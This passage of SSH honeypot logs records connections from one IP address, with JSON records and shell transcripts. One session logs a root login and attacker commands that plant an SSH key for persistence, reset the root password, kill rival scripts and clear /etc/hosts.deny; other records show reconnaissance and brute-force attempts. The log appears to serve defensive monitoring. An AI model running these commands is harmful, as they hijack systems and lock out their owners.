    "cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~",
    "cat /proc/cpuinfo | grep name | wc -l",
    "echo \"root:3Nw42oK3OlPt\"|chpasswd|bash",
    "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
    "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
    "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
    "ls -lh $(which ls)",
    "which ls",
    "crontab -l",
    "w",
    "uname -m",
    "cat /proc/cpuinfo | grep model | grep name | wc -l",
    "top",
    "uname",
    "uname -a",
    "whoami",
    "lscpu | grep Model",
    "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"
  ],
  "detailed_commands": [
    {
      "cmd": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
      "failed": true,
      "error": "Command not found: lockr -ia .ssh"
    },
    {
      "cmd": "cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~",
      "failed": false,
      "error": null
    },
    {
      "cmd": "cat /proc/cpuinfo | grep name | wc -l",
      "failed": false,
      "error": null
    },
    {
      "cmd": "echo \"root:3Nw42oK3OlPt\"|chpasswd|bash",
      "failed": false,
      "error": null
    },
    {
      "cmd": "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
      "failed": false,
      "error": null
    },
    {
      "cmd": "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
      "failed": false,
      "error": null
    },
    {
      "cmd": "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
      "failed": false,
      "error": null
    },
    {
      "cmd": "ls -lh $(which ls)",
      "failed": false,
      "error": null
    },
    {
      "cmd": "which ls",
      "failed": false,
      "error": null
    },
    {
      "cmd": "crontab -l",
      "failed": false,
      "error": null
    },
    {
      "cmd": "w",
      "failed": false,
      "error": null
    },
    {
      "cmd": "uname -m",
      "failed": false,
      "error": null
    },
    {
      "cmd": "cat /proc/cpuinfo | grep model | grep name | wc -l",
      "failed": false,
      "error": null
    },
    {
      "cmd": "top",
      "failed": false,
      "error": null
    },
    {
      "cmd": "uname",
      "failed": false,
      "error": null
    },
    {
      "cmd": "uname -a",
      "failed": false,
      "error": null
    },
    {
      "cmd": "whoami",
      "failed": false,
      "error": null
    },
    {
      "cmd": "lscpu | grep Model",
      "failed": false,
      "error": null
    },
    {
      "cmd": "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
      "failed": false,
      "error": null
    }
  ],
  "failed_commands": [
    "lockr -ia .ssh"
  ],
  "score": 340,
  "tags": [
    "COMMANDS RUN",
    "SUCCESSFUL LOGIN",
    "RECONNAISSANCE"
  ]
}
121.225.55.137
2026-09-30 00:31:56.356850 UTC
SCORE: 10

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: e237c919e01e
Client Version: Unknown
Engagement Duration: 2m 0s
{
  "id": "e237c919e01e",
  "src_ip": "121.225.55.137",
  "start_time": "2026-09-30T00:31:56.356850Z",
  "end_time": "2026-09-30T00:33:56.361498Z",
  "duration": "120.0",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 10,
  "tags": []
}
121.225.55.137
2026-09-30 00:30:22.139498 UTC
SCORE: 10

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: f860f263a48e
Client Version: Unknown
Engagement Duration: 2m 0s
{
  "id": "f860f263a48e",
  "src_ip": "121.225.55.137",
  "start_time": "2026-09-30T00:30:22.139498Z",
  "end_time": "2026-09-30T00:32:22.160068Z",
  "duration": "120.0",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 10,
  "tags": []
}
121.225.55.137
2026-09-30 00:28:48.541928 UTC
SCORE: 10

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: b29c26a79f5e
Client Version: Unknown
Engagement Duration: 2m 0s
{
  "id": "b29c26a79f5e",
  "src_ip": "121.225.55.137",
  "start_time": "2026-09-30T00:28:48.541928Z",
  "end_time": "2026-09-30T00:30:48.559289Z",
  "duration": "120.0",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 10,
  "tags": []
}
121.225.55.137
2026-09-30 00:27:13.765318 UTC
SCORE: 10

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: 127cfb8f83ef
Client Version: Unknown
Engagement Duration: 2m 0s
{
  "id": "127cfb8f83ef",
  "src_ip": "121.225.55.137",
  "start_time": "2026-09-30T00:27:13.765318Z",
  "end_time": "2026-09-30T00:29:13.794873Z",
  "duration": "120.0",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 10,
  "tags": []
}
121.225.55.137
2026-09-30 00:25:39.515060 UTC
SCORE: 10

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: f67d254c8130
Client Version: SSH-2.0-libssh_0.9.6
Engagement Duration: 2m 0s
{
  "id": "f67d254c8130",
  "src_ip": "121.225.55.137",
  "start_time": "2026-09-30T00:25:39.515060Z",
  "end_time": "2026-09-30T00:27:39.524307Z",
  "duration": "120.0",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 10,
  "tags": []
}
121.225.55.137
2026-09-30 00:24:08.495839 UTC
SCORE: 10

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: 2fac27dee81a
Client Version: Unknown
Engagement Duration: 2m 0s
{
  "id": "2fac27dee81a",
  "src_ip": "121.225.55.137",
  "start_time": "2026-09-30T00:24:08.495839Z",
  "end_time": "2026-09-30T00:26:08.526223Z",
  "duration": "120.0",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 10,
  "tags": []
}
121.225.55.137
2026-09-30 00:22:32.511813 UTC
SCORE: 10

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: 72f8eee06113
Client Version: SSH-2.0-libssh_0.9.6
Engagement Duration: 2m 0s
HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a
{
  "id": "72f8eee06113",
  "src_ip": "121.225.55.137",
  "start_time": "2026-09-30T00:22:32.511813Z",
  "end_time": "2026-09-30T00:24:32.540694Z",
  "duration": "120.0",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 10,
  "tags": []
}
121.225.55.137
2026-09-30 00:21:21.043270 UTC
SCORE: 10

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: 60b5c06cdec1
Client Version: SSH-2.0-libssh_0.9.6
Engagement Duration: 2m 0s
{
  "id": "60b5c06cdec1",
  "src_ip": "121.225.55.137",
  "start_time": "2026-09-30T00:21:21.043270Z",
  "end_time": "2026-09-30T00:23:21.054422Z",
  "duration": "120.0",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 10,
  "tags": []
}
121.225.55.137
2026-09-30 00:21:14.508591 UTC
SCORE: 10

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: d9f384bb84cb
Client Version: Unknown
Engagement Duration: 2m 0s
{
  "id": "d9f384bb84cb",
  "src_ip": "121.225.55.137",
  "start_time": "2026-09-30T00:21:14.508591Z",
  "end_time": "2026-09-30T00:23:14.528984Z",
  "duration": "120.0",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 10,
  "tags": []
}
121.225.55.137
2026-09-30 00:20:57.570065 UTC
COMMANDS RUN SUCCESSFUL LOGIN RECONNAISSANCE SCORE: 350

Credential acceptance event recorded. Target authentication: root / support2024

Remote entity achieved interactive shell state. Command sequence (19 executed):

[obs-node]:~$ cd ~; chattr -ia .ssh; lockr -ia .ssh
Command not found: lockr -ia .ssh
[obs-node]:~$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
[obs-node]:~$ cat /proc/cpuinfo | grep name | wc -l
[obs-node]:~$ echo "root:N55R5N0XS700"|chpasswd|bash
[obs-node]:~$ rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;
[obs-node]:~$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'
[obs-node]:~$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'
[obs-node]:~$ ls -lh $(which ls)
[obs-node]:~$ which ls
[obs-node]:~$ crontab -l
[obs-node]:~$ w
[obs-node]:~$ uname -m
[obs-node]:~$ cat /proc/cpuinfo | grep model | grep name | wc -l
[obs-node]:~$ top
[obs-node]:~$ uname
[obs-node]:~$ uname -a
[obs-node]:~$ whoami
[obs-node]:~$ lscpu | grep Model
[obs-node]:~$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'
Record ID: 8e77c4ae5bed
Client Version: SSH-2.0-libssh_0.9.6
Engagement Duration: 1m 1s
HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a
{
  "id": "8e77c4ae5bed",
  "src_ip": "121.225.55.137",
  "start_time": "2026-09-30T00:20:57.570065Z",
  "end_time": "2026-09-30T00:21:58.189521Z",
  "duration": "60.6",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "root",
    "pass": "support2024"
  },
  "commands": [
    "cd ~; chattr -ia .ssh; lockr -ia .ssh",
    "cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~",
    "cat /proc/cpuinfo | grep name | wc -l",
    "echo \"root:N55R5N0XS700\"|chpasswd|bash",
    "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
    "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
    "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
    "ls -lh $(which ls)",
    "which ls",
    "crontab -l",
    "w",
    "uname -m",
    "cat /proc/cpuinfo | grep model | grep name | wc -l",
    "top",
    "uname",
    "uname -a",
    "whoami",
    "lscpu | grep Model",
    "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"
  ],
  "detailed_commands": [
    {
      "cmd": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
      "failed": true,
      "error": "Command not found: lockr -ia .ssh"
    },
    {
      "cmd": "cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~",
      "failed": false,
      "error": null
    },
    {
      "cmd": "cat /proc/cpuinfo | grep name | wc -l",
      "failed": false,
      "error": null
    },
    {
      "cmd": "echo \"root:N55R5N0XS700\"|chpasswd|bash",
      "failed": false,
      "error": null
    },
    {
      "cmd": "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
      "failed": false,
      "error": null
    },
    {
      "cmd": "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
      "failed": false,
      "error": null
    },
    {
      "cmd": "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
      "failed": false,
      "error": null
    },
    {
      "cmd": "ls -lh $(which ls)",
      "failed": false,
      "error": null
    },
    {
      "cmd": "which ls",
      "failed": false,
      "error": null
    },
    {
      "cmd": "crontab -l",
      "failed": false,
      "error": null
    },
    {
      "cmd": "w",
      "failed": false,
      "error": null
    },
    {
      "cmd": "uname -m",
      "failed": false,
      "error": null
    },
    {
      "cmd": "cat /proc/cpuinfo | grep model | grep name | wc -l",
      "failed": false,
      "error": null
    },
    {
      "cmd": "top",
      "failed": false,
      "error": null
    },
    {
      "cmd": "uname",
      "failed": false,
      "error": null
    },
    {
      "cmd": "uname -a",
      "failed": false,
      "error": null
    },
    {
      "cmd": "whoami",
      "failed": false,
      "error": null
    },
    {
      "cmd": "lscpu | grep Model",
      "failed": false,
      "error": null
    },
    {
      "cmd": "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
      "failed": false,
      "error": null
    }
  ],
  "failed_commands": [
    "lockr -ia .ssh"
  ],
  "score": 350,
  "tags": [
    "COMMANDS RUN",
    "SUCCESSFUL LOGIN",
    "RECONNAISSANCE"
  ]
}
121.225.55.137
2026-09-30 00:19:19.195929 UTC
SCORE: 10

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: 07cd0341552c
Client Version: SSH-2.0-libssh_0.9.6
Engagement Duration: 2m 0s
HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a
{
  "id": "07cd0341552c",
  "src_ip": "121.225.55.137",
  "start_time": "2026-09-30T00:19:19.195929Z",
  "end_time": "2026-09-30T00:21:19.205099Z",
  "duration": "120.0",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 10,
  "tags": []
}
121.225.55.137
2026-09-30 00:17:46.293980 UTC
FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: monkey

Record ID: 4a3363dd514c
Client Version: SSH-2.0-libssh_0.9.6
Engagement Duration: 4.0s
HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a
{
  "id": "4a3363dd514c",
  "src_ip": "121.225.55.137",
  "start_time": "2026-09-30T00:17:46.293980Z",
  "end_time": "2026-09-30T00:17:50.312817Z",
  "duration": "4.0",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [
    {
      "user": "monkey",
      "pass": "monkey123"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}